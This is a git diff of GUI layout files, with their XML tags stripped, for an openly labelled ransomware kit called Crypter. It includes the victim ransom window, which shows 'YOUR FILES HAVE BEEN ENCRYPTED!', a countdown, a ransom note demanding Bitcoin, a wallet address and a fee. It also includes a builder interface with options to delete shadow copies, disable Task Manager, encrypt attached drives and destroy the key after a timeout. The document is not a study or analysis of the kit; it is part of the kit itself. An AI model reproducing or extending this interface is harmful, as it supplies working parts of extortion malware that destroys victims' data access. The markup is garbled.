+ + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + 0 + wxAUI_MGR_DEFAULT + + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + + + ViewEncryptedFilesDialog + + 600,400 + wxDEFAULT_FRAME_STYLE + + Encrypted Files + + + + wxTAB_TRAVERSAL + 1 + + + BodySizer + wxVERTICAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel4 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + TextCtrlSizer + wxVERTICAL + none + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + + 0 + + 1 + EncryptedFilesTextCtrl + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_DONTWRAP|wxTE_MULTILINE|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + 0 + wxAUI_MGR_DEFAULT + + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + + + EnterDecryptionKeyDialog + + 500,200 + wxDEFAULT_DIALOG_STYLE + + Decrypt Files + + + + + + + bSizer12 + wxVERTICAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel6 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + wxID_ANY + AES Decryption Key + + MainSizer + wxVERTICAL + 1 + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + + bSizer13 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + 32 + + 0 + + 1 + DecryptionKeyTextCtrl + 1 + + + protected + 1 + + Resizable + 1 + 220,-1 + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + 1 + 0 + 0 + 0 + 1 + 0 + 0 + + OkCancelSizer + protected + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Waiting for input + 0 + + 0 + + + 0 + + 1 + StatusText + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + 5 + wxEXPAND + 1 + + + bSizer121 + wxHORIZONTAL + none + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + DecryptionGauge + 1 + + + protected + 1 + + 100 + Resizable + 1 + + wxGA_HORIZONTAL + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + 0 + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Encrypted Files: 0 + 0 + + 0 + + + 0 + + 1 + EncryptedFilesNumberLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + diff --git a/gui/Crypter/final.fbp.bak b/gui/Crypter/final.fbp.bak new file mode 100644 index 0000000..5d2dc64 --- /dev/null +++ b/gui/Crypter/final.fbp.bak @@ -0,0 +1,2775 @@ + + + + + + Python + 1 + source_name + 0 + 0 + res + UTF-8 + connect + GuiAbsBase + 1000 + none + 0 + Crypter + + . + + 1 + 1 + 1 + 1 + UI + 0 + 0 + + 0 + wxAUI_MGR_DEFAULT + 177,7,14 + wxBOTH + + 1 + 1 + impl_virtual + + wxSYS_COLOUR_BTNTEXT + + 0 + wxID_ANY + -1,-1 + -1,-1 + MainFrame + + 940,800 + wxCAPTION|wxCLOSE_BOX|wxMINIMIZE_BOX|wxRESIZE_BORDER|wxSYSTEM_MENU + + Crypter + + + + wxTAB_TRAVERSAL + 1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + -1,-1 + MainSizer + wxVERTICAL + none + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + HeaderPanel + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + HeaderSizer + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNTEXT + 1 + Courier New,90,92,48,75,1 + 0 + 0 + wxID_ANY + CRYPTER + + 0 + + + 0 + + 1 + TitleLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,18,75,0 + 0 + 0 + wxID_ANY + YOUR FILES HAVE BEEN ENCRYPTED! + + 0 + + + 0 + + 1 + FlashingMessageText + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 20 + wxALL|wxEXPAND + 2 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + BodyPanel + 1 + + + protected + 1 + -1,-1 + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + BodySizer + wxVERTICAL + none + + 5 + wxEXPAND + 1 + + + bSizer15 + wxHORIZONTAL + none + + 5 + + 1 + + + bSizer17 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_HORIZONTAL|wxEXPAND + 0 + + + bSizer20 + wxVERTICAL + none + + 0 + wxEXPAND | wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel81 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer192 + wxVERTICAL + none + + 7 + wxALIGN_CENTER_HORIZONTAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + LockBitmap + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALL|wxEXPAND + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel8 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxRAISED_BORDER|wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer191 + wxVERTICAL + none + + 10 + wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + TIME REMAINING + + 0 + + + 0 + + 1 + TimeRemainingLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,16,75,0 + 0 + 0 + wxID_ANY + 00:00:00 + + 0 + + + 0 + + 1 + TimeRemainingTime + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + + bSizer18 + wxVERTICAL + none + + 7 + wxALL|wxEXPAND + 3 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + Courier New,90,90,14,75,0 + 0 + 0 + wxID_ANY + + 0 + -1,-1 + + + 0 + -1,-1 + 1 + RansomMessageText + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_MULTILINE|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + The important files on your computer have been encrypted with military grade AES-256 bit encryption. Your documents, videos, images and other forms of data are now inaccessible, and cannot be unlocked without the decryption key. This key is currently being stored on a remote server. To acquire this key, transfer the Bitcoin fee to the Bitcoin wallet address before the time runs out. If you fail to take action within this time window, the decryption key will be destoyed and access to your files will be permanently lost. For more information on what Bitcoin is, and to learn where you can buy Bitcoins, click the Bitcoin button directly below the timer. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 20 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + FooterPanel + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer181 + wxHORIZONTAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel9 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer22 + wxVERTICAL + none + + 5 + wxALIGN_CENTER|wxALIGN_CENTER_HORIZONTAL|wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + + Dock + 0 + Left + 1 + + 1 + + + 0 + 0 + + wxID_ANY + MyButton + + 0 + -1,-1 + + 0 + -1,-1 + 1 + BitcoinButton + 1 + + + protected + 1 + + Resizable + + 1 + + wxBU_AUTODRAW + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 3 + + wxID_ANY + + + sbSizer2 + wxVERTICAL + 1 + none + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel10 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer221 + wxVERTICAL + none + + 5 + wxEXPAND + 0 + + + bSizer13 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + WALLET ADDRESS: + + 0 + + + 0 + + 1 + WalletAddressLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + 1BoatSLRHtKNngkdXEeobR76b53LETtpyT + + 0 + + + 0 + + 1 + WalletAddressString + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 0 + + + bSizer14 + wxHORIZONTAL + none + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + 255,255,0 + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + BITCOIN FEE + + 0 + + + 0 + + 1 + BitcoinFeeLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_CENTER_VERTICAL|wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + wxSYS_COLOUR_BTNHIGHLIGHT + 1 + Courier New,90,92,12,75,0 + 0 + 0 + wxID_ANY + 1.50 + + 0 + + + 0 + + 1 + BitcoinFeeString + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALIGN_RIGHT|wxEXPAND + 2 + + -1,40 + bSizer19 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + View Encrypted Files + + 0 + + + 0 + -1,-1 + 1 + ViewEncryptedFilesButton + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Enter Decryption Key + + 0 + + + 0 + -1,-1 + 1 + EnterDecryptionKeyButton + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + wxAUI_MGR_DEFAULT + + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + + + ViewEncryptedFilesDialog + + 600,400 + wxDEFAULT_FRAME_STYLE + + Encrypted Files + + + + wxTAB_TRAVERSAL + 1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + BodySizer + wxVERTICAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel4 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + + TextCtrlSizer + wxVERTICAL + none + + 5 + wxALL|wxEXPAND + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + + 0 + + 1 + EncryptedFilesTextCtrl + 1 + + + protected + 1 + + Resizable + 1 + + wxTE_DONTWRAP|wxTE_MULTILINE|wxTE_READONLY + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + wxAUI_MGR_DEFAULT + + wxBOTH + + 1 + 1 + impl_virtual + + + + 0 + wxID_ANY + + + EnterDecryptionKeyDialog + + 500,200 + wxDEFAULT_DIALOG_STYLE + + Decrypt Files + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + bSizer12 + wxVERTICAL + none + + 5 + wxEXPAND | wxALL + 1 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + m_panel6 + 1 + + + protected + 1 + + Resizable + 1 + + + 0 + + + + wxTAB_TRAVERSAL + + + + + + + + + + + + + + + + + + + + + + + + + wxID_ANY + AES Decryption Key + + MainSizer + wxVERTICAL + 1 + none + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + + bSizer13 + wxHORIZONTAL + none + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + 32 + + 0 + + 1 + DecryptionKeyTextCtrl + 1 + + + protected + 1 + + Resizable + 1 + 220,-1 + + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxEXPAND + 1 + + 0 + 1 + 0 + 0 + 0 + 1 + 0 + 0 + + OkCancelSizer + protected + + + + + + + + + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Waiting for input + + 0 + + + 0 + + 1 + StatusText + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + + bSizer121 + wxHORIZONTAL + none + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + + 0 + + + 0 + + 1 + DecryptionGauge + 1 + + + protected + 1 + + 100 + Resizable + 1 + + wxGA_HORIZONTAL + + 0 + + + wxFILTER_NONE + wxDefaultValidator + + 0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 5 + wxEXPAND + 1 + + 0 + protected + 0 + + + + 5 + wxALL + 0 + + 1 + 1 + 1 + 1 + + + + + + + + 1 + 0 + 1 + + 1 + 0 + Dock + 0 + Left + 1 + + 1 + + 0 + 0 + wxID_ANY + Encrypted Files: 0 + + 0 + + + 0 + + 1 + EncryptedFilesNumberLabel + 1 + + + protected + 1 + + Resizable + 1 + + + + 0 + + + + + -1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/build/builder_gui/crypter_builder_final.fbp b/gui/CrypterBuilder/crypter_builder_final.fbp similarity index 76% rename from build/builder_gui/crypter_builder_final.fbp rename to gui/CrypterBuilder/crypter_builder_final.fbp index 9fd204e..9fbf9fb 100644 --- a/build/builder_gui/crypter_builder_final.fbp +++ b/gui/CrypterBuilder/crypter_builder_final.fbp @@ -1,6 +1,6 @@ - + Python @@ -14,10 +14,11 @@ BuilderGuiAbsBase 1000 none + 0 CrypterBuilder - . + C:\dev\py\Crypter\build\ExeBuilder 1 1 @@ -53,41 +54,6 @@ wxTAB_TRAVERSAL 1 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 640,850 bSizer1 @@ -157,29 +123,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - bSizer48 @@ -227,6 +170,7 @@ 0 wxID_ANY Load Config file + 0 0 @@ -252,29 +196,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -340,30 +261,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -409,6 +306,7 @@ 0 wxID_ANY Current Config File: + 0 0 @@ -434,29 +332,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -492,6 +367,7 @@ 0 wxID_ANY None + 0 0 @@ -517,29 +393,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -605,29 +458,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -687,29 +517,6 @@ wxVSCROLL - - - - - - - - - - - - - - - - - - - - - - - bSizer2 @@ -771,30 +578,7 @@ - wxHSCROLL|wxSTATIC_BORDER|wxVSCROLL - - - - - - - - - - - - - - - - - - - - - - - + wxHSCROLL|wxVSCROLL|wxBORDER_STATIC bSizer44 @@ -833,6 +617,7 @@ 0 wxID_ANY Crypter Builder + 0 0 @@ -850,7 +635,7 @@ Resizable 1 - wxALIGN_CENTRE + wxALIGN_CENTER_HORIZONTAL 0 @@ -858,29 +643,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -916,6 +678,7 @@ 0 wxID_ANY Created by Sithis993 + 0 0 @@ -933,7 +696,7 @@ Resizable 1 - wxALIGN_CENTRE + wxALIGN_CENTER_HORIZONTAL 0 @@ -941,29 +704,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -1022,29 +762,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -1080,6 +797,7 @@ 0 wxID_ANY Quick Build + 0 0 @@ -1105,29 +823,6 @@ 359 - - - - - - - - - - - - - - - - - - - - - - - @@ -1163,6 +858,7 @@ 0 wxID_ANY To create the ransomware binary immediately, leave the fields below blank and click the BUILD button. This will produce the ransomware binary with the default settings + 0 0 @@ -1188,29 +884,6 @@ 359 - - - - - - - - - - - - - - - - - - - - - - - @@ -1246,6 +919,7 @@ 0 wxID_ANY Customising the ransomware + 0 0 @@ -1271,29 +945,6 @@ 359 - - - - - - - - - - - - - - - - - - - - - - - @@ -1329,6 +980,7 @@ 0 wxID_ANY The ransomware can be easily customised by adjusting any or all of the options below. For more information on each field, including a description and the expected input, hover the mouse cursor over the field's label or input box to view its tooltip. Fields left blank will be set to the default configuration. To see an example configuration, click the browse button at the top of the app and load the "config_example.cfg" file. + 0 0 @@ -1354,29 +1006,6 @@ 340 - - - - - - - - - - - - - - - - - - - - - - - @@ -1412,6 +1041,7 @@ 0 wxID_ANY Managing Configurations + 0 0 @@ -1437,29 +1067,6 @@ 359 - - - - - - - - - - - - - - - - - - - - - - - @@ -1495,6 +1102,7 @@ 0 wxID_ANY Optionally, if you'd like to save your ransomware configuration click the Save button at the bottom of this form. Existing configurations can be loaded by clicking the Load button at the top of the interface. + 0 0 @@ -1520,29 +1128,6 @@ 340 - - - - - - - - - - - - - - - - - - - - - - - @@ -1604,29 +1189,6 @@ - - - - - - - - - - - - - - - - - - - - - - - @@ -1693,29 +1255,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - wxID_ANY Language @@ -1724,7 +1263,6 @@ wxHORIZONTAL 1 none - 5 @@ -1767,6 +1305,7 @@ 0 wxID_ANY Builder Language + 0 0 @@ -1792,29 +1331,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -1889,30 +1405,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -1975,29 +1467,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - wxID_ANY Debug @@ -2006,7 +1475,6 @@ wxHORIZONTAL 1 none - 5 @@ -2049,6 +1517,7 @@ 0 wxID_ANY Debug Level + 0 0 @@ -2074,29 +1543,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -2171,30 +1617,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -2268,29 +1690,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - wxID_ANY Binary Settings @@ -2299,7 +1698,6 @@ wxVERTICAL 1 none - 5 wxEXPAND @@ -2360,6 +1758,7 @@ 0 wxID_ANY Pyinstaller AES Key + 0 0 @@ -2385,29 +1784,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -2482,33 +1858,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -2555,6 +1904,7 @@ 0 wxID_ANY File Icon + 0 0 @@ -2580,29 +1930,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -2678,30 +2005,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -2759,6 +2062,7 @@ 0 wxID_ANY UPX Packer Directory + 0 0 @@ -2784,29 +2088,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -2881,30 +2162,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -2992,29 +2249,6 @@ wxTAB_TRAVERSAL - - - - - - - - - - - - - - - - - - - - - - - wxID_ANY Ransomware Settings @@ -3023,7 +2257,6 @@ wxVERTICAL 1 none - 5 wxEXPAND @@ -3045,7 +2278,6 @@ wxVERTICAL 1 none - 5 wxEXPAND @@ -3097,6 +2329,7 @@ 0 wxID_ANY Open GUI on Login + 0 0 @@ -3122,29 +2355,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -3219,30 +2429,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -3321,6 +2507,7 @@ 0 wxID_ANY Delete Shadow Copies + 0 0 @@ -3346,29 +2533,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -3443,30 +2607,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -3513,6 +2653,7 @@ 0 wxID_ANY Disable Task Manager + 0 0 @@ -3538,29 +2679,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -3635,30 +2753,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -3716,6 +2810,7 @@ 0 wxID_ANY GUI Title + 0 0 @@ -3741,29 +2836,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -3838,33 +2910,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -3911,6 +2956,7 @@ 0 wxID_ANY Key Destruction Time (s) + 0 0 @@ -3936,29 +2982,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -4033,33 +3056,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -4117,6 +3113,7 @@ 0 wxID_ANY Wallet Address + 0 0 @@ -4142,29 +3139,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -4239,33 +3213,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -4312,6 +3259,7 @@ 0 wxID_ANY Bitcoin Fee + 0 0 @@ -4337,29 +3285,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -4434,33 +3359,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -4481,7 +3379,6 @@ wxVERTICAL 1 none - 5 wxALIGN_CENTER_VERTICAL|wxEXPAND @@ -4533,6 +3430,7 @@ 0 wxID_ANY Encrypt Attached Drives + 0 0 @@ -4558,29 +3456,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -4655,30 +3530,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -4725,6 +3576,7 @@ 0 wxID_ANY Encrypt User Home + 0 0 @@ -4750,29 +3602,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -4847,30 +3676,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - @@ -4928,6 +3733,7 @@ 0 wxID_ANY Max File Size to Encrypt (MB) + 0 0 @@ -4953,29 +3759,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -5050,33 +3833,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -5123,6 +3879,7 @@ 0 wxID_ANY Filetypes to Encrypt + 0 0 @@ -5148,29 +3905,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -5245,33 +3979,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -5329,6 +4036,7 @@ 0 wxID_ANY Encrypted File Extension + 0 0 @@ -5354,29 +4062,6 @@ -1 - - - - - - - - - - - - - - - - - - - - - - - @@ -5451,33 +4136,6 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -5519,7 +4177,6 @@ wxVERTICAL 1 none - 5 wxALIGN_CENTER_VERTICAL|wxEXPAND @@ -5571,6 +4228,7 